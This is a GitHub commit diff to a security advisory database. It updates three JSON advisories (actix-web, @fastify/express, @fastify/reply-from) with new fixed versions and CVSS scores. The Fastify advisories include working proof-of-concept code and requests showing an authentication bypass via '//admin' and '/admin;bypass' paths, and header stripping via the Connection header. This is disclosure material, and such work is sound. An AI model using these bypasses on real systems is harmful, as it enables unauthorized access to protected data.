Skip to content

Commit 301e2e7

Browse files
1 parent f90ac2f commit 301e2e7

3 files changed

Lines changed: 13 additions & 5 deletions

File tree

advisories/github-reviewed/2022/01/GHSA-9qj6-4rfq-vm84/GHSA-9qj6-4rfq-vm84.json

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,13 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-9qj6-4rfq-vm84",
4-
"modified": "2022-01-06T18:38:16Z",
4+
"modified": "2026-06-09T10:47:27Z",
55
"published": "2022-01-06T22:20:41Z",
66
"aliases": [
77
"CVE-2018-25024"
88
],
99
"summary": "Out-of-bounds Write in actix-web",
10-
"details": "An issue was discovered in the actix-web crate before 0.7.15 for Rust. It can unsoundly coerce an immutable reference into a mutable reference, leading to memory corruption.",
10+
"details": "An issue was discovered in the actix-web crate before 0.7.19 for Rust. It can unsoundly coerce an immutable reference into a mutable reference, leading to memory corruption.",
1111
"severity": [
1212
{
1313
"type": "CVSS_V3",
@@ -28,7 +28,7 @@
2828
"introduced": "0"
2929
},
3030
{
31-
"fixed": "0.7.15"
31+
"fixed": "0.7.19"
3232
}
3333
]
3434
}

advisories/github-reviewed/2026/04/GHSA-6hw5-45gm-fj88/GHSA-6hw5-45gm-fj88.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-6hw5-45gm-fj88",
4-
"modified": "2026-04-16T01:03:46Z",
4+
"modified": "2026-06-09T10:47:41Z",
55
"published": "2026-04-16T01:03:46Z",
66
"aliases": [
77
"CVE-2026-33808"
88
],
99
"summary": "@fastify/express has a middleware authentication bypass via URL normalization gaps (duplicate slashes and semicolons)",
1010
"details": "### Summary\n\n`@fastify/express` v4.0.4 fails to normalize URLs before passing them to Express middleware when Fastify router normalization options are enabled. This allows complete bypass of path-scoped authentication middleware via two vectors:\n\n1. **Duplicate slashes** (`//admin/dashboard`) when `ignoreDuplicateSlashes: true` is configured\n2. **Semicolon delimiters** (`/admin;bypass`) when `useSemicolonDelimiter: true` is configured\n\nIn both cases, Fastify's router normalizes the URL and matches the route, but `@fastify/express` passes the original un-normalized URL to Express middleware, which fails to match and is skipped.\n\nNote: This is distinct from GHSA-g6q3-96cp-5r5m (CVE-2026-22037), which addressed URL percent-encoding bypass and was patched in v4.0.3. These normalization gaps remain in v4.0.4. A similar class of normalization issue was addressed in `@fastify/middie` via GHSA-8p85-9qpw-fwgw (CVE-2026-2880), but `@fastify/express` does not include the equivalent fixes.\n\n### Details\n\nThe vulnerability exists in `@fastify/express`'s `enhanceRequest` function (`index.js` lines 43-46):\n\n```javascript\nconst decodedUrl = decodeURI(url)\nreq.raw.url = decodedUrl\n```\n\nThe `decodeURI()` function only handles percent-encoding — it does not normalize duplicate slashes or strip semicolon-delimited parameters. When Fastify's router options are enabled, `find-my-way` applies these normalizations during route matching, but `@fastify/express` passes the original URL to Express middleware.\n\n#### Vector 1: Duplicate Slashes\n\nWhen `ignoreDuplicateSlashes: true` is set, Fastify's `find-my-way` router normalizes `//admin/dashboard` to `/admin/dashboard` for route matching. However, Express middleware receives `//admin/dashboard`. Express's `app.use('/admin', authMiddleware)` expects paths to start with `/admin/`, but `//admin` does not match the `/admin` prefix pattern.\n\nThe attack sequence:\n1. Client sends `GET //admin/dashboard`\n2. Fastify's router normalizes this to `/admin/dashboard` and finds a matching route\n3. `enhanceRequest` sets `req.raw.url = \"//admin/dashboard\"` (preserves double slash)\n4. Express middleware `app.use('/admin', authMiddleware)` does not match `//admin` prefix\n5. Authentication is bypassed, and the Fastify route handler executes\n\n#### Vector 2: Semicolon Delimiters\n\nWhen `useSemicolonDelimiter: true` is configured, the router uses `find-my-way`'s `safeDecodeURI()` which treats semicolons as query string delimiters, splitting `/admin;bypass` into path `/admin` and querystring `bypass` for route matching. However, `@fastify/express` passes the full URL `/admin;bypass` to Express middleware.\n\nExpress uses path-to-regexp v0.1.12 internally, which compiles middleware paths like `/admin` to the regex `/^\\/admin\\/?(?=\\/|$)/i`. A semicolon character does not satisfy the lookahead condition, causing the middleware match to fail.\n\nThe attack flow:\n1. Request `GET /admin;bypass` arrives\n2. Fastify router: splits at `;` — matches route `GET /admin`\n3. Express middleware: regex `/^\\/admin\\/?(?=\\/|$)/i` fails against `/admin;bypass` — middleware skipped\n4. Route handler executes without authentication checks\n\n### PoC\n\n#### Duplicate Slash Bypass\n\nSave as `server.js` and run with `node server.js`:\n\n```js\nconst fastify = require('fastify')\n\nasync function start() {\n const app = fastify({\n logger: false,\n ignoreDuplicateSlashes: true, // documented Fastify option\n })\n\n await app.register(require('@fastify/express'))\n\n // Standard Express middleware auth pattern\n app.use('/admin', function expressAuthGate(req, res, next) {\n const auth = req.headers.authorization\n if (!auth || auth !== 'Bearer admin-secret-token') {\n res.statusCode = 403\n res.setHeader('content-type', 'application/json')\n res.end(JSON.stringify({ error: 'Forbidden by Express middleware' }))\n return\n }\n next()\n })\n\n // Protected route\n app.get('/admin/dashboard', async (request) => {\n return { message: 'Admin dashboard', secret: 'sensitive-admin-data' }\n })\n\n await app.listen({ port: 3000 })\n console.log('Listening on http://localhost:3000')\n}\nstart()\n```\n\n```bash\n# Normal access — blocked by Express middleware\n$ curl -s http://localhost:3000/admin/dashboard\n{\"error\":\"Forbidden by Express middleware\"}\n\n# Double-slash bypass — Express middleware skipped, handler runs\n$ curl -s http://localhost:3000//admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n\n# Triple-slash also works\n$ curl -s http://localhost:3000///admin/dashboard\n{\"message\":\"Admin dashboard\",\"secret\":\"sensitive-admin-data\"}\n```\n\nMultiple variants work: `///admin`, `/.//admin`, `//admin//dashboard`, etc.\n\n#### Semicolon Bypass\n\n```javascript\nconst fastify = require('fastify')\nconst http = require('http')\n\nfunction get(port, url) {\n return new Promise((resolve, reject) => {\n http.get('http://localhost:' + port + url, (res) => {\n let data = ''\n res.on('data', (chunk) => data += chunk)\n res.on('end', () => resolve({ status: res.statusCode, body: data }))\n }).on('error', reject)\n })\n}\n\nasync function test() {\n const app = fastify({ \n logger: false, \n routerOptions: { useSemicolonDelimiter: true }\n })\n await app.register(require('@fastify/express'))\n \n // Auth middleware blocking unauthenticated access\n app.use('/admin', function(req, res, next) {\n if (!req.headers.authorization) {\n res.statusCode = 403\n res.setHeader('content-type', 'application/json')\n res.end(JSON.stringify({ error: 'Forbidden' }))\n return\n }\n next()\n })\n \n app.get('/admin', async () => ({ secret: 'classified-info' }))\n \n await app.listen({ port: 19900, host: '0.0.0.0' })\n \n // Blocked:\n let r = await get(19900, '/admin')\n console.log('/admin:', r.status, r.body)\n // Output: /admin: 403 {\"error\":\"Forbidden\"}\n \n // BYPASS:\n r = await get(19900, '/admin;bypass')\n console.log('/admin;bypass:', r.status, r.body)\n // Output: /admin;bypass: 200 {\"secret\":\"classified-info\"}\n \n r = await get(19900, '/admin;')\n console.log('/admin;:', r.status, r.body)\n // Output: /admin;: 200 {\"secret\":\"classified-info\"}\n \n await app.close()\n}\ntest()\n```\n\nActual output:\n```\n/admin: 403 {\"error\":\"Forbidden\"}\n/admin;bypass: 200 {\"secret\":\"classified-info\"}\n/admin;: 200 {\"secret\":\"classified-info\"}\n```\n\nThe semicolon bypass works with any text after it: `/admin;`, `/admin;x`, `/admin;jsessionid=123`.\n\n### Impact\n\nComplete authentication bypass for applications using Express middleware for path-based access control. An unauthenticated attacker can access protected routes (admin panels, APIs, user data) by manipulating the URL path.\n\n**Duplicate slash vector** affects applications that:\n1. Use `@fastify/express` with `ignoreDuplicateSlashes: true`\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)`\n\n**Semicolon vector** affects applications that:\n1. Use `@fastify/express` with `useSemicolonDelimiter: true` (commonly enabled for Java application server compatibility, e.g., handling `;jsessionid=` parameters)\n2. Rely on Express middleware for authentication/authorization\n3. Use path-scoped middleware patterns like `app.use('/admin', authMiddleware)`\n\nThe bypass works against all Express middleware that uses prefix path matching, including popular packages like `express-basic-auth`, custom authentication middleware, and rate limiting middleware.\n\nThe `ignoreDuplicateSlashes` and `useSemicolonDelimiter` options are documented as convenience features, not marked as security-sensitive, so developers would not expect them to impact middleware security.\n\n### Affected Versions\n\n- `@fastify/express` v4.0.4 (latest) with Fastify 5.x\n- Requires `ignoreDuplicateSlashes: true` or `useSemicolonDelimiter: true` in Fastify configuration (via top-level option or `routerOptions`)\n\n### Variant Testing\n\n**Duplicate slashes:**\n\n| Request | Express Middleware | Handler Runs | Result |\n|---------|-------------------|--------------|--------|\n| `GET /admin/dashboard` | Invoked (blocks) | No | 403 Forbidden |\n| `GET //admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET ///admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET /.//admin/dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET //admin//dashboard` | Skipped | Yes | 200 OK — **BYPASS** |\n| `GET /admin//dashboard` | Invoked (blocks) | No | 403 Forbidden |\n\n**Semicolons:**\n\n| URL | Express MW Fires | Route Matches | Result |\n|---|---|---|---|\n| `/admin` | Yes | Yes (200/403) | Normal |\n| `/admin;` | No | Yes (200) | **BYPASS** |\n| `/admin;bypass` | No | Yes (200) | **BYPASS** |\n| `/admin;x=1` | No | Yes (200) | **BYPASS** |\n| `/admin;/dashboard` | No | Yes (200, routes to /admin) | **BYPASS** |\n| `/admin/dashboard;x` | Yes | Yes (routes to /admin/dashboard) | Normal (prefix /admin/ still matches) |\n\nThe semicolon bypass is effective when the semicolon appears immediately after the middleware prefix boundary. For sub-paths where the prefix is already matched (e.g., `/admin/dashboard;x`), Express's prefix regex succeeds because the `/admin/` part matches before the semicolon appears.\n\n### Suggested Fix\n\n`@fastify/express` should normalize URLs before passing them to Express middleware, respecting the router normalization options that are enabled. Specifically:\n- When `ignoreDuplicateSlashes` is enabled, apply `FindMyWay.removeDuplicateSlashes()` to `req.raw.url` before middleware execution\n- When `useSemicolonDelimiter` is enabled, strip semicolon-delimited parameters from the URL before passing to Express\n\nThis would match the normalization behavior that `@fastify/middie` already implements via `sanitizeUrlPath()` and `normalizePathForMatching()`.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"

advisories/github-reviewed/2026/04/GHSA-gwhp-pf74-vj37/GHSA-gwhp-pf74-vj37.json

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,18 @@
11
{
22
"schema_version": "1.4.0",
33
"id": "GHSA-gwhp-pf74-vj37",
4-
"modified": "2026-04-16T01:02:59Z",
4+
"modified": "2026-06-09T10:48:00Z",
55
"published": "2026-04-16T01:02:59Z",
66
"aliases": [
77
"CVE-2026-33805"
88
],
99
"summary": "Fastify's connection header abuse enables stripping of proxy-added headers",
1010
"details": "### Summary\n\n`@fastify/reply-from` and `@fastify/http-proxy` process the client's `Connection` header after the proxy has added its own headers via `rewriteRequestHeaders`. This allows attackers to retroactively strip proxy-added headers (like access control or identification headers) from upstream requests by listing them in the `Connection` header value. This affects applications using these plugins with custom header injection for routing, access control, or security purposes.\n\n### Details\n\nThe vulnerability exists in `@fastify/reply-from/lib/request.js` at lines 128-136 (HTTP/1.1 handler) and lines 191-200 (undici handler). The processing flow is:\n\n1. Client headers are copied including the `connection` header (`@fastify/reply-from/index.js` line 91)\n2. The proxy adds custom headers via `rewriteRequestHeaders` (line 151)\n3. During request construction, the transport handlers read the client's `Connection` header and strip any headers listed in it\n4. This stripping happens after `rewriteRequestHeaders`, allowing clients to target proxy-added headers for removal\n\nRFC 7230 Section 6.1 Connection header processing is intended for proxies to strip hop-by-hop headers from incoming requests before adding their own headers. The current implementation reverses this order, processing the client's Connection header after the proxy has already modified the header set.\n\nThe call chain:\n1. `@fastify/reply-from/index.js` line 91: `headers = { ...req.headers }` — copies ALL client headers including `connection`\n2. `index.js` line 151: `requestHeaders = rewriteRequestHeaders(this.request, headers)` — proxy adds custom headers (e.g., `x-forwarded-by`)\n3. `index.js` line 180: `requestImpl({...headers: requestHeaders...})` — passes headers to transport\n4. `request.js` line 191 (undici): `getConnectionHeaders(req.headers)` — reads Connection header FROM THE CLIENT\n5. `request.js` lines 198-200: Strips headers listed in Connection — including proxy-added headers\n\nThis is distinct from the general hop-by-hop forwarding concern — it's specifically about the client controlling which headers get stripped from the upstream request via the Connection header, subverting the proxy's `rewriteRequestHeaders` function.\n\n### PoC\n\nSelf-contained reproduction with an upstream echo service and a proxy that adds a custom header:\n\n```javascript\nconst fastify = require('fastify');\n\nasync function test() {\n // Upstream service that echoes headers\n const upstream = fastify({ logger: false });\n upstream.get('/api/echo-headers', async (request) => {\n return { headers: request.headers };\n });\n await upstream.listen({ port: 19801 });\n\n // Proxy that adds a custom header via rewriteRequestHeaders\n const proxy = fastify({ logger: false });\n await proxy.register(require('@fastify/reply-from'), {\n base: 'http://localhost:19801'\n });\n\n proxy.get('/proxy/*', async (request, reply) => {\n const target = '/' + (request.params['*'] || '');\n return reply.from(target, {\n rewriteRequestHeaders: (originalReq, headers) => {\n return { ...headers, 'x-forwarded-by': 'fastify-proxy' };\n }\n });\n });\n\n await proxy.listen({ port: 19800 });\n\n // Baseline: proxy adds x-forwarded-by header\n const res1 = await proxy.inject({\n method: 'GET',\n url: '/proxy/api/echo-headers'\n });\n console.log('Baseline response headers from upstream:');\n const body1 = JSON.parse(res1.body);\n console.log(' x-forwarded-by:', body1.headers['x-forwarded-by'] || 'NOT PRESENT');\n\n // Attack: Connection header strips the proxy-added header\n const res2 = await proxy.inject({\n method: 'GET',\n url: '/proxy/api/echo-headers',\n headers: { 'connection': 'x-forwarded-by' }\n });\n console.log('\\nAttack response headers from upstream:');\n const body2 = JSON.parse(res2.body);\n console.log(' x-forwarded-by:', body2.headers['x-forwarded-by'] || 'NOT PRESENT (stripped!)');\n\n await proxy.close();\n await upstream.close();\n}\ntest();\n```\n\nActual output:\n```\nBaseline response headers from upstream:\n x-forwarded-by: fastify-proxy\n\nAttack response headers from upstream:\n x-forwarded-by: NOT PRESENT (stripped!)\n```\n\nThe `x-forwarded-by` header that the proxy explicitly added in `rewriteRequestHeaders` is stripped before reaching the upstream.\n\nMultiple headers can be stripped at once by sending `Connection: x-forwarded-by, x-forwarded-for`.\n\nBoth the undici (default) and HTTP/1.1 transport handlers in `@fastify/reply-from` are affected, as well as `@fastify/http-proxy` which delegates to `@fastify/reply-from`.\n\n### Impact\n\nAttackers can selectively remove any header added by the proxy's `rewriteRequestHeaders` function. This enables several attack scenarios:\n\n1. **Bypass proxy identification**: Strip headers that identify requests as coming through the proxy, potentially bypassing upstream controls that differentiate between direct and proxied requests\n2. **Circumvent access control**: If the proxy adds headers used for routing, authorization, or security decisions (e.g., `x-internal-auth`, `x-proxy-token`), attackers can strip them to access unauthorized resources\n3. **Remove arbitrary headers**: Any header can be targeted, including `Connection: authorization` to strip authentication or `Connection: x-forwarded-for, x-forwarded-by` to remove multiple headers at once\n\nThis vulnerability affects deployments where the proxy adds security-relevant headers that downstream services rely on for access control decisions. It undermines the security model where proxies act as trusted intermediaries adding authentication or routing signals.\n\n### Affected Versions\n\n- `@fastify/reply-from` — All versions, both undici (default) and HTTP/1.1 transport handlers\n- `@fastify/http-proxy` — All versions (delegates to `@fastify/reply-from`)\n- Any configuration using `rewriteRequestHeaders` to add headers that could be security-relevant\n- No special configuration required to exploit — works with default settings\n\n### Suggested Fix\n\nThe Connection header from the client should be processed and consumed before `rewriteRequestHeaders` is called, not after. Alternatively, the Connection header processing in `request.js` should maintain a list of headers that existed in the original client request and only strip those, not headers added by `rewriteRequestHeaders`.",
1111
"severity": [
12+
{
13+
"type": "CVSS_V3",
14+
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N"
15+
},
1216
{
1317
"type": "CVSS_V4",
1418
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:L/SI:H/SA:N"

0 commit comments

Comments
 (0)